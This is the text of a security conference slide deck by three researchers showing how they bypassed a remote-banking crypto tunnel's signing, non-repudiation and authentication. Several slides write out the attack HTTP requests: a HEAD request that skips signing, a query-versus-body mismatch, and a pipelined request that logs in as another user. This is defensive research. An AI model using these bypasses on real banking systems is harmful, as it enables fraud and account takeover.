  • 34. API call trace __________________________________________________________________ / | What is being signed? | | | | | | | | | | | | | | | | | | | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 34 || ||
  • 35. API call trace __________________________________________________________________ / | Send it through the tunnel | | | | | | | | | | | | | | | | | | | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 35 || ||
  • 36. API call trace __________________________________________________________________ / | Receive encrypted response | | | | | | | | | | | | | | | | | | | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 36 || ||
  • 37. API call trace __________________________________________________________________ / | Decrypt the response | | | | | | | | | | | | | | | | | | | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 37 || ||
  • 38. API call trace __________________________________________________________________ / | Send it back to browser | | | | | | | | | | | | | | | | | | | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 38 || ||
  • 39. so it comes like this __________________________________________________________________ / | Req++: Authenticity & Non-repudiation | | | Client side Server side | | | | | GET /login?name=value HTTP/1.1 | | Host: 10.6.28.19 | | | | | | | | Crypto server RBS Application | | Browser Tunnel endpoint Server | Verifies signature | Signs ingress request If ok logs for non-repudiation Trusts custom headers | | Puts everything into and passes upstream Matches id from session | | custom headers with id from header | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 39 || ||
  • 40. and is secured like this __________________________________________________________________ / | Req++: Authenticity & Non-repudiation | | | Client side Server side | | | GET /login?name=value HTTP/1.1 | | Host: 10.6.28.19 | | Certificate_number: 0x849 | | Form_data: name=value | | Signature: | | 6B8A57A3EA9C25D77C01F4E957D5752C69F61D | | Crypto server RBS Application | 3451E87DD18046C51DC9A9AD63C7718708159B Browser Tunnel endpoint Server | Verifies signature | | 7ECF5FC8EDF4424F813DB65EF5E2D21D2F389E Signs ingress request | If ok logs for non-repudiation Trusts custom headers | 03319CA25D7003 Puts everything into and passes upstream Matches id from session | | custom headers with id from header | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 40 || ||
  • 41. Further notices __________________________________________________________________ / ● Proxy signs query string for GET, | | | message body for POST | | ● | The server actually checks that | | | Form_data reflects the query | | string/body | | | | ● The server checks the Cert_num and | | signature | | | | ● The web app checks that cert_num | | matches the current user | | | | ● Kinda unbreakable, heh? | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 41 || ||
  • 42. Non-repudiation Take one __________________________________________________________________ / | Bypass Non-repudiation | | | | Client side Server side | | | | HEAD /bank/welcome?name=value HTTP/1.1 | | Host: 10.6.28.19 | | | | | | | | Crypto server RBS Application | | Browser Tunnel endpoint Server | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 42 || ||
  • 43. Non-repudiation Take one __________________________________________________________________ / | Bypass Non-repudiation | | | | Client side Server side | | | | HEAD /bank/welcome?name=value HTTP/1.1 | | Host: 10.6.28.19 | | Certificate_number: 0x849 | | | | | | Crypto server RBS Application | | Browser Tunnel endpoint Server | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 43 || ||
  • 44. Non-repudiation Take two __________________________________________________________________ / | Bypass Non-repudiation | | | | Client side Server side | | | | POST /bank/welcome?name=value1 HTTP/1.1 | | Host: 10.6.28.19 | | | Content-Length: 15 | | | | name=value2 | Crypto server RBS Application | | Browser Tunnel endpoint Server | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 44 || ||
  • 45. Non-repudiation Take two __________________________________________________________________ / | POST /bank/welcome?name=value1 HTTP/1.1 Bypass Non-repudiation | | Host: 10.6.28.19 | | Client side Server side | Content-Length: 15 | Certificate_number: 0x849 | | | Form_data: name=value2 | | | Signature: | | 3195E979E107731A2572197AB9D8BC01CE2C7EE0C4 | | 2B97A02393F1263C23E25D2D21E7AA7CB07114491A | | 72750C2EFD1AEEAEB357C874BFB3100336F5BD01C0 Crypto server RBS Application | | Browser Tunnel endpoint Server | 0C | | | name=value2 | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 45 || ||
  • 46. Non-repudiation Take two – Exploit (!!!) __________________________________________________________________ / | POST /bank/welcome?name=attack-value HTTP/1.1 Bypass Non-repudiation | | Host: 10.6.28.19 | | Client side Server side | Content-Length: 15 | Certificate_number: 0x849 | | | Form_data: name=common-value | | | Signature: | | 3195E979E107731A2572197AB9D8BC01CE2C7EE0C42B9 | | 7A02393F1263C23E25D2D21E7AA7CB07114491A72750C | | 2EFD1AEEAEB357C874BFB3100336F5BD01C00C RBS Application Crypto server | | Browser Tunnel endpoint Server | | name=common-value | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 46 || ||
  • 47. So what? __________________________________________________________________ / | In Soviet Russia who cares about repudiation? | | | | | | | | | | | | | | | | | | | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 47 || ||
  • 48. Authentication Log in as any other user __________________________________________________________________ / | Bypass crypto authentication | | | Client side Server side | | | | | POST http://10.6.28.19/login HTTP/1.1 | | Host: 10.6.28.19 | | Content-Type: application/x-www-form- | | urlencoded | | Content-Length: 36 | | Crypto server RBS Application | Certificate_number: 0x717 Browser Tunnel endpoint | Server | | | sName=772965163660&sPass=valid.60 | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 48 || ||
  • 49. Authentication Crypto id and session id do not match __________________________________________________________________ / | Bypass crypto authentication | | | Client side Server side | | | | | | | | | | | | | | | Crypto server RBS Application | | Browser Tunnel endpoint Server | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 49 || ||
  • 50. Authentication But… __________________________________________________________________ / HEAD | Bypass crypto authentication | |http://10.6.28.19/login?sName=772865163421 | |&sPass=valid.21 HTTP/1.1 Client side Server side | |Host: 10.6.28.19 | |Connection: keep-alive | |Content-Length: 10 | | | |p=nonemptybody | | | POST http://10.6.28.19/login HTTP/1.1 Crypto server | RBS Application | |Host: 10.6.28.19 Browser Tunnel endpoint Server | |Content-Type: application/x-www-form- | |urlencoded | |Content-Length: 36 | Certificate_number: 0x717 / ------------------------------------------------------------------ sName=772965163660&sPass=valid.60 George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 50 || ||
  • 51. Authentication But… __________________________________________________________________ / | HEAD Bypass crypto authentication | | http://10.6.28.19/login?sName=772865163421&sPass=| Client side Server side | valid.21 HTTP/1.1 | | Host: 10.6.28.19 | | Connection: keep-alive | | | Content-Length: 10 | | | Certificate_number: 0x849 | | | | p=nonemptybody Crypto server RBS Application | | Browser Tunnel endpoint POST http://10.6.28.19/login HTTP/1.1 Server | | Host: 10.6.28.19 | | Content-Type: application/x-www-form-urlencoded | | Content-Length: 36 | / Certificate_number: 0x717 ------------------------------------------------------------------ ^__^ sName=772965163660&sPass=valid.60 George Noseevich Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 51 || ||
  • 52. And along comes… WRAP UP George Noseevich Andrew Petukhov Dennis Gamayunov 52
  • 53. At first I was like… __________________________________________________________________ / | • How typical pentester sees custom crypto | | protocol | | | | | | | | | | | | | | | | | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 53 || ||
  • 54. But then… __________________________________________________________________ / | • It looks more intriguing | | | | | | | | | | | | | | | | | | | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 54 || ||
  • 55. No surprise __________________________________________________________________ / | • 'I definitely believe that | | cryptography is becoming less | | | important. In effect, even the most | | | secure computer systems in the most | | | | isolated locations have been | | penetrated over the last couple of | | | | years by a series of APTs and other | | advanced attacks,' Shamir said during | | | | the Cryptographers' Panel session at | | the RSA Conference 2013 | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 55 || ||
  • 56. Violent curiosity leads to… __________________________________________________________________ / |• …successful bypass | | | | | | | | | | | | | | | | | | | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 56 || ||
  • 57. Contacts __________________________________________________________________ / | | | | | | | | | George @webpentest Noseevich | | webpentest@bushwhackers.ru | | Andrew @p3tand Petukhov | | andrew.petukhov@solidlab.ru | | Dennis @jamadharma Gamayunov | | gamajun@seclab.cs.msu.su | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 57 || ||